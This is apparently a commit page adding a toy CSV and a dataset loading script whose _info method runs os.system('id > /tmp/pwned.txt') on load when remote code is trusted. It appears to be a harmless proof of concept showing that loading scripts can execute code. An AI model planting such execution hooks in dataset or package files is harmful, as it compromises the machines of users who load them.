add loading script
Browse files- data.csv +3 -0
- script-test-45.py +14 -0
data.csv
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
text
|
| 2 |
+
hello
|
| 3 |
+
world
|
script-test-45.py
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import os
|
| 2 |
+
import datasets
|
| 3 |
+
|
| 4 |
+
class ScriptTest45(datasets.GeneratorBasedBuilder):
|
| 5 |
+
def _info(self):
|
| 6 |
+
# This would execute if trust_remote_code is True
|
| 7 |
+
os.system("id > /tmp/pwned.txt")
|
| 8 |
+
return datasets.DatasetInfo(
|
| 9 |
+
features=datasets.Features({"text": datasets.Value("string")})
|
| 10 |
+
)
|
| 11 |
+
def _split_generators(self, dl_manager):
|
| 12 |
+
return []
|
| 13 |
+
def _generate_examples(self):
|
| 14 |
+
yield 0, {"text": "test"}
|